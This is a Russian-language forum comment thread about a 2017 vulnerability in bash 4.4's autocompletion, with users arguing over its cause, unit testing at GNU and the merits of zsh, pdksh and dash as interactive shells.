	> Сабжевая уязвимость не в bash-completion, а именно в самом голом bash 4.4 с тупым > автодополнением по filename/PATH. было б оно тупое - не было б уязвимости. А оно не тупое - пытается исполнять команду до того, как ее до конца набрали, ну ахренеть, дайте две (это хорошо коли две, а не двадцать две). > В GNU вообще слышали про юнит-тесты, всякое такое? ну а откуда возьмется юнит-тест, если раньше такой проблемы не было? Это ж надо было догадаться о возможности ее появления. А от юниттеста на функциональность этой фичи - ни жарко, ни холодно, он-то может и есть (и выдал положительный результат, completion-то сработал ;-) Ну и внимания zsh'у уделяется в разы меньше - так что о качестве кода, к сожалению, число cve ничего не говорит. P.S. интересно, сколько было уязвимостей в bash-1.14.7 ? И кто может сходу назвать ситуацию, когда ему нужна версия новее.
	Ответить \| Правка \| ^ к родителю #32 \| Наверх \| Cообщить модератору

26. "Уязвимость в реализации автодополнения ввода в Bash"	–7 +/–
Сообщение от Michael Shigorin (ok) on 08-Фев-17, 17:59
"В альте старый баш", верещали они...
Ответить \| Правка \| ^ к родителю #0 \| Наверх \| Cообщить модератору


	28. "Уязвимость в реализации автодополнения ввода в Bash"	–1 +/–
	Сообщение от annual slayer on 08-Фев-17, 19:11
	альт распологал инсайдерской информацией об этой уязвимости?
	Ответить \| Правка \| ^ к родителю #26 \| Наверх \| Cообщить модератору


	29. "Уязвимость в реализации автодополнения ввода в Bash"	+/–
	Сообщение от Michael Shigorin (ok) on 08-Фев-17, 19:23
	В данном разе, как понимаю, нет.
	Ответить \| Правка \| ^ к родителю #28 \| Наверх \| Cообщить модератору


	42. "Уязвимость в реализации автодополнения ввода в Bash"	–1 +/–
	Сообщение от Линукс еще не готов on 09-Фев-17, 05:12
	А почему в ал те баш а не какой нибудь zsh
	Ответить \| Правка \| ^ к родителю #26 \| Наверх \| Cообщить модератору


	45. "Уязвимость в реализации автодополнения ввода в Bash"	–2 +/–
	Сообщение от PereresusNeVlezaetBuggy (ok) on 09-Фев-17, 07:58
	> А почему в ал те баш а не какой нибудь zsh Ребят, вы смеётесь? Уж на что bash развесистый в плане фич, так zsh его обходит. Так что менять bash на zsh глупо. Уж скорее в сторону (PD)KSH надо смотреть...
	Ответить \| Правка \| ^ к родителю #42 \| Наверх \| Cообщить модератору


	47. "Уязвимость в реализации автодополнения ввода в Bash"	–1 +/–
	Сообщение от Michael Shigorin (ok) on 09-Фев-17, 16:05
	>> А почему в ал те баш а не какой нибудь zsh > Ребят, вы смеётесь? Уж на что bash развесистый в плане фич, > так zsh его обходит. Так что менять bash на zsh глупо. > Уж скорее в сторону (PD)KSH надо смотреть... Как многолетний пользователь zsh, майнтейнер пакета pdksh и ловец плюх в (d)ash никак не могу согласиться -- в качестве интерактивного шелла мне всё-таки оптимален именно zsh. :)
	Ответить \| Правка \| ^ к родителю #45 \| Наверх \| Cообщить модератору